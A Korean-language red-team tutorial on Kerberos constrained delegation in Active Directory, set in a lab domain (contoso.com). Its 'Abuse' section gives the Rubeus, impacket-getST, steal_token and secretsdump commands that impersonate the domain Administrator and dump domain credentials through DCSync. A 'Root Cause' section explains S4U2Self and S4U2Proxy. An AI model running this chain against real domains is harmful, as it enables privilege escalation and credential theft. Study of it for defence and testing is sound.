Constrained Delegation

Constrained Delegation은 제약된 위임으로 Windows 2003에 도입된 위임 구성입니다. 위임에 구성된 객체는 자신의 TGT를 이용해서 다른 사용자를 주체로 하는 서비스 티켓을 발급받을 수 있습니다.

Windows 2003 시절 커버로스 인증을 사용하지 않거나 못하는 환경(예 : 도메인에 조인되지 않은 노트북 등)에서는 TGT 사본을 필요로 하는 제약없는 위임을 통해 자동화를 하지 못했기 때문에 이에 대한 대책으로 개발되었습니다.

환경에서는 user-A 계정이 AD01의 cifs 서비스에 대해 제약된 위임이 구성되어 있습니다. 공격자가 user-A 계정을 탈취한다면 해당 계정으로는 도메인 관리자를 대신하여 cifs 서비스 티켓을 발급받을 수 있습니다.

기본적으로 도메인 객체는 위임에 대한 속성인 msDS-AllowedToDelegateTo 가 비어있지만 위임이 구성되면 이 값은 가장할 수 있는 spn 값으로 채워집니다. 따라서 이 값이 비어있지 않는 객체를 열거하면 도메인의 제약된 위임 구성을 확인할 수 있습니다.

Abuse

Cobalt Strike

# Constrained Delegation이 설정된 머신 열거
Get-ADObject -Filter {msDS-AllowedToDelegateTo -like "*"} -Properties msDS-AllowedToDelegateTo | Select-Object Name, ObjectClass, DistinguishedName, msDS-AllowedToDelegateTo

# 위임이 설정된 계정을 통해 S4U2Self 수행
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/AD01.CONTOSO.COM /user:user-A /rc4:2B576ACBE6BCFDA7294D6BD18041B8FE /domain:contoso.com /nowrap

# 로그인 세션 생성
.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:AD01 /username:Administrator /password:FakePass /ticket:doI[...]Q==

# 세션 사용
steal_token 1540

# Delegation이 설정된 객체 열거
impacket-findDelegation contoso.com/user-A:'Password123!'

# 서비스에 대한 가장 티켓 발급 요청 및 환경 변수 등록
impacket-getST -spn 'cifs/AD01.CONTOSO.COM' -impersonate Administrator contoso.com/user-A:'Password123!' -force-forwardable
export KRB5CCNAME=Administrator@[email protected]

# DCSync
impacket-secretsdump contoso.com/[email protected] -k -no-pass -dc-ip 192.168.1.11

Root Cause

제약된 위임이 구성된 객체는 자신의 TGT 발급을 위해 커버로스 사전 인증 단계를 거칩니다.

위임이 구성된 user-A는 직접적으로 자신의 TGT를 통해서 다른 서비스에 대해 특정 사용자를 가장한 티켓을 요청할 수는 없는 대신 다른 클라이언트가 소유한 자신(user-A)의 서비스 티켓을 이용하여 다른 서비스에 대해 TGS-REQ를 할 수 있습니다.

따라서 첫번째 TGS-REQ/TGS-REP에서는 user-A가 가진 SPN에 대해 가장하려는 사용자(Administrator)로 서비스 티켓을 요청 및 발급합니다.

user-A의 spn에 대해 다른 사용자를 가장하여 서비스 티켓을 요청하는 것은 S4U2Self이며 제약된 위임입니다.

이제 user-A는 Administrator 권한으로 발급받은 자신의 spn이 있기 때문에 해당 티켓을 이용하여 위임받은 cifs/AD01.CONTOSO.COM 서비스 티켓을 Administrator 권한으로 발급받습니다.

Administrator 권한으로 발급받은 자신의 서비스 티켓을 다른 티켓으로 교환하는 기능은 S4U2Proxy입니다.

번거로워 보일 수 있는 위 과정이 반드시 필요한 몇가지 이유가 있습니다.

예를 들어 user-A 사용자에게서 웹 서비스가, AD01에서 데이터베이스 서비스가 실행된다고 가정하겠습니다.

위임이 필요한 이유는 user-B가 웹 서비스에 접근하여 로그인 했을 때 자신의 데이터를 반환받기 위해 직접 AD01의 서비스에 접근하는 것이 아니라, user-A로 접근한 user-B를 대신하여 AD01에 인증하는 것입니다. 만약 이러한 과정이 없다면 user-B, user-C 등 수많은 클라이언트가 웹 서비스를 사용하지 않았음에도 user-A는 클라이언트의 데이터베이스에 접근할 수 있게 됩니다.

두번째로 user-A가 직접적으로 user-B를 대신하여 AD01 데이터베이스에 접근한다면 AD01이 바라보는 입장에서 발급해줘야 하는 TGS-REP의 PAC은 user-A에 대한 정보를 기반으로 채울 수밖에 없습니다. 하지만 user-B가 user-A의 웹 서비스에 접근한 것을 기반으로 서비스 티켓을 요청한다면 AD01이 작성하는 PAC 정보 역시 user-B를 기반으로 작성할 수 있습니다.